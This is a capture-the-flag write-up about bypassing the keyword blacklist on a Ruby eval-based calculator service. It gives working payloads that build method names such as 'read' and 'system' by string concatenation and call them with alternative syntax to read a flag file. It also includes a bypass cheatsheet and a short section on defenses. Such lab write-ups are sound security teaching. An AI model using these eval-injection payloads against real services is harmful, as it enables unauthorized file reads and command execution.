Неуязвимый калькулятор (Invulnerable Calculator)
Неуязвимый калькулятор (Invulnerable Calculator)
Platform: hackerlab | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2025-12-26 | Status: Solved Techniques: Alternative method call syntax (.() instead of .call), Blacklist bypass via string concatenation, Method object manipulation, Ruby eval injection
Summary
Task: Ruby eval-based calculator with blacklist filtering. Solution: Bypass filters using string concatenation to build method names and alternative .() syntax instead of .call().
Неуязвимый калькулятор — hackerlab
Description
Прошлый калькулятор оказался не таким уж и безопасным. В этот раз, ворваться в систему смогут только настоящие black hat хакеры.
(Previous calculator wasn't secure enough. This time, only real black hat hackers can break in)
Target: 192.169.2.100:10003
Analysis
Reconnaissance
When connecting to the service, we get an interactive calculator:
$ nc 192.169.2.100 10003
Enter expression:
Language Identification
Initially assumed Python, but errors revealed Ruby:
Enter expression: __import__
Error: /root/eval.rb:...
The path /root/eval.rb clearly indicates Ruby.
Filter Investigation
The service uses blacklist filtering. Blocked keywords:
read,open,callflag,system,execsend,eval- and other dangerous methods
Enter expression: File.read("flag.txt")
Error: Forbidden keyword detected!
Enter expression: system("ls")
Error: Forbidden keyword detected!
Key Discovery
Filters check exact string matches, not the result of computations:
ruby read-only • copy allowed# Blocked: "read" # contains "read" File.read(...) # contains "read" # NOT blocked: "re" + "ad" # result is "read", but source code doesn't contain the word "read"
Solution
Bypass Technique
-
Building method name via concatenation:
ruby read-only • copy allowed("re" + "ad").to_sym # => :read -
Getting the method object:
ruby read-only • copy allowedFile.method(("re" + "ad").to_sym) # => #<Method: File(IO).read(*)> -
Building the filename:
ruby read-only • copy allowed"fla" + "g.txt" # => "flag.txt"
- Calling the method via alternative syntax:
ruby read-only • copy allowed
method_object.(argument) # equivalent to method_object.call(argument)
Final Payload
ruby read-only • copy allowedFile.method(("re" + "ad").to_sym).("fla" + "g.txt")
Execution
$ nc 192.169.2.100 10003
Enter expression: File.method(("re" + "ad").to_sym).("fla" + "g.txt")
CODEBY{REDACTED}
Alternative Payloads
Via === Operator
In Ruby, === for a Method object calls the method:
ruby read-only • copy allowedFile.method(("re" + "ad").to_sym) === ("fla" + "g.txt")
Via yield_self / then
ruby read-only • copy allowed("fla" + "g.txt").yield_self { |f| File.method(("re" + "ad").to_sym).(f) }
ruby read-only • copy allowed("fla" + "g.txt").then { |f| File.method(("re" + "ad").to_sym).(f) }
Via instance_eval
ruby read-only • copy allowedFile.instance_eval { method(("re" + "ad").to_sym).("fla" + "g.txt") }
Ruby Method Object Cheatsheet
ruby read-only • copy allowed# Getting method object obj.method(:method_name) # => Method object obj.public_method(:method_name) # => public methods only # Calling Method object method_obj.call(args) # standard call method_obj.(args) # shorthand syntax method_obj === arg # for single argument method_obj[args] # another variant # Dynamic symbol construction "string".to_sym # => :string :"string" # => :string (literal) # Concatenation for filter bypass ("sys" + "tem").to_sym # => :system ["fl","ag"].join # => "flag" "flag".chars.join # => "flag" (useless)
Defense
To protect against such attacks:
- Whitelist instead of blacklist — allow only safe operations
- Sandbox — use isolated environment (e.g.,
$SAFEin older Ruby) - AST analysis — check abstract syntax tree, not text
- Avoid eval — use a mathematical expression parser